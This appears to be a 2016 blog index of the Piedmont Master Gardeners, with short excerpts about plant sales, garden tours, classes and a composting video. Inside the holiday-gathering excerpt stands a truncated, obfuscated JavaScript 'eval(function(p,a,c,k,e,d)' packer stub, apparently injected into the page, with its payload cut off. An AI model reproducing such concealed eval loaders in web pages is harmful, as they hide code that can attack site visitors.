The Crozet Farmers Market opened this month to cool mornings and sunshine. This year the Master Gardeners were on hand to answer gardening questions at the market the second and fourth Saturdays of the month until the Fall.
We told you it was going to be fun! The Piedmont Master Gardeners hosted the Spring Plant Sale last Saturday, 4/30/2016, and it was another great success. We had more than 650 customers and almost 4,000 plants. Our 65-70 volunteers…
The Through The Garden Gate garden tours started 2016 at the beautiful Grant’s Garden. Master Gardener Ralph Hall wrote a great little blurb about the event: All the times I’ve gone by there, I never knew this jewel was hidden…
Some of our Master Gardeners spent this past winter planning a new series of gardening classes available free to the public. The Garden Basics series is intended to meet the need for basic horticultural education. This education will address a…
Join us for the Annual Spring Plant Sale! Plenty of Free Parking! Please plan to join us on Saturday, April 30 from 9am-noon. This year marks our 15th annual sale, and we are excited that it will take place at…
Piedmont Master Gardeners, in cooperation with the Virginia Cooperative Extension Service, invite you to the 2016 Spring Garden Lecture Series, starting in March! The lectures are on the following Thursday evenings from 7:00 pm-8:30 pm in Room A at the Albemarle County Office…
The 2016 Master Gardener training program started off without a hitch, until the second class…snow day! We are grateful to have such a great group of enthusiastic learners and volunteers. If you see one of our Interns at a Master…
Wondering what gardeners do and think about during the cold months of winter? Take a look at our monthly newsletter the Garden Shed. You will find articles about growing indoor plants, tips to prepare for the spring, and much more. …
The Master Gardeners had a lovely holiday gathering last week to celebrate the season. Part of the evening included a slideshow that highlighted the past year and MG projects. Take a look at what Master Gardeners do: eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return…
This is a great time-lapse video of worms working through compost layers. Per the video description: Timelapse video of redworms (Eisenia fetida) through 20 days of vermicomposting. Aprox. 2-3 cm (1inch) thick layers of compost and sawdust were topped with…